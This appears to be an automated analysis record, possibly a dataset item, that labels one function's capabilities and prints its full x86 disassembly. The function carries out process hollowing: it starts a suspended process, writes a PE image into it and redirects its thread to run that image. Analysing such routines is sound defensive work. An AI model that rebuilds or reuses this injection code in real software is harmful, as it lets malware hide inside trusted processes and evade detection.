Function at 0x402230
Capabilities:
Create process on windows
Create process suspended
Enumerate pe sections
Get common file path
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x834
push esi
push edi
call fcn.00402180
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov ecx, 0x11
xor eax, eax
lea edi, [ebp - 0x82c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x82c], 0x44
cmp dword [ebp + 0xc], 0
jne 0x402289
push 0x3e8
lea ecx, [ebp - 0x7e8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x834], eax
jmp 0x4022b7
mov edi, dword [ebp + 0xc]
lea edx, [ebp - 0x7e8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
mov edx, edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x834], edx
lea eax, [ebp - 0x3f8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x82c]
push edx
lea eax, [ebp - 0x3f8]
push eax
push 0
push 4
push 0
push 0
push 0
lea ecx, [ebp - 0x7e8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40230e
push 0x4012c4
push 4
call fcn.00401c00
add esp, 8
xor eax, eax
jmp 0x40256c
mov dword [ebp - 0x2f0], 0x10002
mov ecx, 0xb2
xor eax, eax
lea edi, [ebp - 0x2ec]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x2f0]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0
push 4
lea ecx, [ebp - 0x2f4]
push ecx
mov edx, dword [ebp - 0x24c]
add edx, 8
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x4012b8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x400], eax
push 0x4012a0
mov ecx, dword [ebp - 0x400]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x4023a6
mov edx, dword [ebp - 0x400]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x401288
push 4
call fcn.00401c00
add esp, 8
xor eax, eax
jmp 0x40256c
mov eax, dword [ebp - 0x2f4]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [ebp - 0x24]
mov edx, dword [ebp - 0x400]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 4]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x20], edx
push 0xf8
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x4023f1
mov ecx, dword [ebp - 0x20]
cmp dword [ecx], 0x4550
je 0x402407
push 0x401278
push 4
call fcn.00401c00
add esp, 8
xor eax, eax
jmp 0x40256c
push 4
push 0x3000
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0x34]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x18], eax
push 0
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov cx, word [eax + 0x14]
mov edx, dword [ebp - 0x20]
lea eax, [edx + ecx + 0x18]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x3fc], 0
jmp 0x402472
mov ecx, dword [ebp - 0x3fc]
add ecx, 1
mov dword [ebp - 0x3fc], ecx
mov edx, dword [ebp - 0x20]
xor eax, eax
mov ax, word [edx + 6]
cmp dword [ebp - 0x3fc], eax
jae 0x402521
push 0
mov ecx, dword [ebp - 0x3fc]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + ecx + 0x10]
push eax
mov ecx, dword [ebp - 0x3fc]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
add eax, dword [edx + ecx + 0x14]
push eax
mov ecx, dword [ebp - 0x3fc]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
add eax, dword [edx + ecx + 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea edx, [ebp - 0x830]
push edx
mov eax, dword [ebp - 0x3fc]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + eax + 0x24]
push edx
call fcn.00402210
add esp, 4
push eax
mov eax, dword [ebp - 0x3fc]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + eax + 8]
push edx
mov eax, dword [ebp - 0x3fc]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
add edx, dword [ecx + eax + 0xc]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x402463
push 0
push 4
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x24c]
add edx, 8
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x18]
add edx, dword [ecx + 0x28]
mov dword [ebp - 0x240], edx
lea eax, [ebp - 0x2f0]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret